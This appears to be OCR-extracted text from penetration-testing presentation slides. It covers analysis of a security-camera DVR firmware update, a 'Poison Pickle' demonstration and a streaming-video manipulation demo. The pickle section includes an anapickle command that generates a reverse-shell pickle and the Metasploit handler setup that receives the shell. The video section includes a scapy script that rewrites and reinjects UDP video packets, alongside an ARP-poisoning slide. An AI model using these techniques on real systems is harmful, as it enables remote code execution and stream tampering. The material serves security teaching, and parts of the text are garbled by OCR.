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Security Camera DVR

« Background

« Why update it?
e lOT
« Mirai Botnet

How to protect it
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Security Camera DVR

Version
VERSION
> Log Device Model LMNR408BS
> Online User Alarm In: -

—

Alarm Out: 2
SN ND011511046202
Firmware Version: 00007

Agent Version 1.01.19.50

Build Date:
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Security Camera DVR

®

~| Expression... +
Time Source Destination Protocol Length Src Port

8.8.8.8 192.168. DNS 132
54.90.103. 192.168. ubP 67
192.168 54.90.103.228 uoP 66
54.90.103 192.168.% uop 67
192.168. E 54.90.103.228 ubP 66
192.168.2 54.231.40.185 TCP 62
54.231.40. 192.168.% TCP 62
192.168. 54.231.40.185 TCP 60
192.168. LS 54.231.40.185 HTTP 121
54.231.40.185 192.168.= [Ee 54
54.231.40.185 192.168 _ TCP 452
192.168 . TS 54.231.40.185 TCP 60
54.231.40.185 192.168. 2 TCP

192.168. 54.231.40.185 60

Ethernet II, Src: 00:40: f, Dst: 00:04:5a:63:8c:ee
Internet Protocol Version 4, Sr 192.168. S, Dst: 54.231.40.185
Transmission Control Protocol, Src Port: 50282 (50282), Dst Port: 80 (8@), Seq: 1, Ack: 1, Len: 67
Hypertext Transfer Protocol

GET / HTTP/1.1\r\n

Host: dha.flirservices.com\r\n

Range: bytes=0-4@95\r\n

\r\n

Full t URI: htt

[HTTP request 1/1]

/1.1..Ho
flirserv
..Range: bytes=0

The full requested URI (including host name) (http.request.full_uri) Packets: 152 - Displayed: 152 (100.0%) * Load time: 0:0.3 Profile: Default

http://dha.flirservices.com
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Security Camera DVR

{®
"vendor":"dahua"”,
"products":[ &
{B®

"model": "LHVO004S",
"version":"00004",
"url":"http://dha.flirservices.com/LHVO004S/LHVO004S_20150806_00004.bin",
"type":"regular",
"source":"*"

LHVe016S",
:"00089",
"url":"http://dha.flirservices.com/LHVO016S/LHVO0165S_20160718_00089.bin",
"emergency",
"source":"*",
"devices":[ @
"dev123456789"
"lhvfa3dsf697"
"lhve64ae2f32"
"lhv4a8174371"
"lhv155ee83b3"
"lhv7cd153fel"
"lhvf01720877"
"lhvBc445f7d5"
"Lhvee54ef299"
"lhve77f296b4"
"1hv836d79377"
"lhv5bcf@66e8"
"lhvie9489fe3"
"1hv8ac550975",
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Security Camera DVR

« How best to protect this and other loT
devices

« Don't expose them to the Internet
« Remove default route

o Other ways”?
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Poison Pickle




Poison Pickle

e Python method to convert an object to
a byte stream
(serialization/deserialization)

e pickle.dump(obj, [file])

« pickle.load(file)
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Poison Pickle

« Create a pickle file

p1

S'yellow'

p2

# Save a dictionary into a pickle file. sSkitty
p3

import pickle

p4

favorite_color = { "apple": "space grey’, "lion": "yellow", sS'apple’
"kitty": "red" } p5
S'space grey'

pickle.dump( favorite_color, open( "colors.p’, "wb" ) ) »
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Poison Pickle

« Read the pickle file

# Load the dictionary back from the pickle file.
import pickle
favorite_color = pickle.load( open( "colors.p", "rb" ) )

print favorite_color

$ python color_load.py

{'lion": 'yellow', ‘kitty": 'red’, 'apple': 'space grey'}
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Malicious Pickle Time

e Anapickle

« https://github.com/sensepost/anapickle
e Flags

e -p: list available shell code

« -g: generate pickle with shell code
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Malicious Pickle Time

#>python ./anapickle.py
-g gen_reverseshell_tcp
"HOST=192.168.1.2""
"‘PORT=6666" > bad_pickle.p

You will need to edit the result
pickle file to remove the comments
generated by anapickle
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Metasploit Setup

On the target Kali box, setup metasploit
Use the exploit/multi/handler
Set the PAYLOAD to

python/shell_reverse_tcp

o Set LHOST to Kali's IP

« Set LPORT to what was set in the pickle
file

DEMO
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Streaming Video
Manipulation




Streaming Video

Containe

r

(mp2se |
m Video (h264, h262)

Audio (mp3, aac)

Data (closed captioning)
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Streaming Video




drie e
-

Streaming Video

Search Terminal Tabs Help

root@acs-kali: /media/psf/Home/Dropbox/Adeptus/PenTestTopics/.

File Edit
PrenaringRtotunpacke: /5 T fapesiNsad;2:222kemdodzdebs
Unpacking ffmpeg (7:3.2.2-2)

Q « » .0
Libopenmpt : andod (6.2.7386-beta20.3-3) ...
triggers for libc-bin (2.24-9) .
Uibs1z-2.0-0:ond64 (2.9.54df501-2) ..
triggers for man-db (2.7.6.1-2) - 6666 Len=1
libavfornat5 . 3 X agnent
Libaviitters andss (7:3.2.2-2) 1 0 : 302 ~ Le
Uibavdevice57:and64 (7:3.2.2- 2) 5
ffmpeg (7:3.2.2-2
triggers for libc-bin (2.24-9) .

L3 View Go Capture Analyze Statistics Telephony Wireless Tools Help

e »

Destination Protocol Length Info

embled pa
:/media/psf/Home/Dropbox/Adeptus/PenTestTopics/pickle# ffplay udp://236.0.0.1:6666
ffplay version 3.2.2-2 Copyright (c) 2003-2016 the FFmpeg developers
built with gcc 6.3.0 (Debian 6.3.0-4) 20170121

configuration: --prefix=/usr --extra --toolchain=hardened --1ibdi|
clude/x86_64-linux-gnu --enable-gpl --disable-stripping --enable-avresample -
Bdspa - _enable-libass --enable-libblura

usr/1ib/x86_64-linux-gnu -
__enable-1ibbs2b - -enable-libcaca

enable-avisynth --enable-gnul
__enable-Libcdio —-enable-Libebu

Duration: N/A, start: 1.406000, bitrate: N/A
Program 1 £ fF
Metadata: £ fF
service name  : Servicel
mpeg2video 1Mam; ([2110][0]1[0] / ©x0002), yuv420p(tv, progressive), 1920xB1o LSAR 11 DAR
90k tbn, 47.95 t
“Strean #0:1(0x101] (eng): Audio: mp2 1[3][0][01[0] 7 exanna;, 4seee Hz, stereo,

NaNaJj2
[]26.13 A-V: -0.033 fd= 9 aq= 9005KB vq=51690KB sq=

Packets 6 - Displayed: 52686 (100.0%) Profile: Default
s16p, 384 kb/s / ,
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A

Protocol Length Info
UDP 1390 5

1 4 1 i f
1 92 16.001367675 10.211.55 23 1514 50302 — 6666 Len=1472
4 1 P 1014

User Datagram
Data (1472

Data (data.data), 1472 bytes

M

packet] [MP2T f

mbled cket] [MP2T fragment of a

1 packet] [MP2T fragment of a

iation Table (PAT) Pr

et] [MP2T f

Packets: 60300 - Displayed: 60290 (100.0%)

Expression..

mble..

mble

mble..

m Map Tab

mble..

Profile: Default
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OO0 01 c4 7e l1la Pa 05 c8

Data (data.data), 1472 bytes
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Streaming Video
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sys
scapy.all

iface = sys.argv[1]
srvHost = sys.argv[2]
srvPort = sys.argv[3]
localHost = sys.argv[4]
localPort = sys.argv[s]
remoteHost = sys.argv[6]
remotePort = sys.argv[7]

localSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
localSocket.setsockopt(socket.SOL_IP,socket.IP_HDRINCL, 1)
localSocket.bind((remoteHost,int (remotePort)))

remoteSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
remoteSocket.setsockopt(socket.SOL_IP,socket.IP_HDRINCL, 1)
remoteSocket.bind((remoteHost, int (remotePort)))

sniffer(packet

newpkt = packet[IP]
srcIP = newpkt[IP].src
"Packet Received from %s"%(srcIP)

srcIP localHost:
"Sending Local Packet from :%d 52 (localHost, int(localPort), remoteHost, int(remotePort))

newpkt[IP].src = srvHost
newpkt[IP].dst = remoteHost

newpkt [UDP] .dport remotePort)
newpkt [UDP] .sport srvPort)

newpkt.show()
data = str(newpkt.payload).encode("Hex")
targetKey ' 060e2b34010101030701200102090000"

targetkey EYEH

data2 = str(newpkt.payload)
newpayload = data2.replace("DoD Contractors","ALL YOUR BASE ")

newpkt[UDP] [Raw] = newpayload

newpkt.show()

newpkt [UDP] . chksum
newpkt[IP].chksum

newpkt = newpkt._ class__(str(newpkt))

localSocket.sendto(str (newpkt), (remoteHost, int(remotePort)))

"Connecting to %s:%s" (srvHost, srvPort)
listensock = socket.socket(socket.AF INET, socket.SOCK_DGRAM)
listensock.bind((srvHost, int(srvPort)))

filterStr="udp and dst host " srvHost + " and dst port " str(srvPort)
"sniffing %s for %s " (iface,filterstr)
sniff(filter=filterStr,prn=sniffer,iface-iface)
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Streaming Video

L

?Pv—rzfi:' - /7\)
O —— e

arp’ poison
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Streaming Video

e [oo0ls Used
« ffmpeg
e Wireshark

e python
e SCapy




Questions?




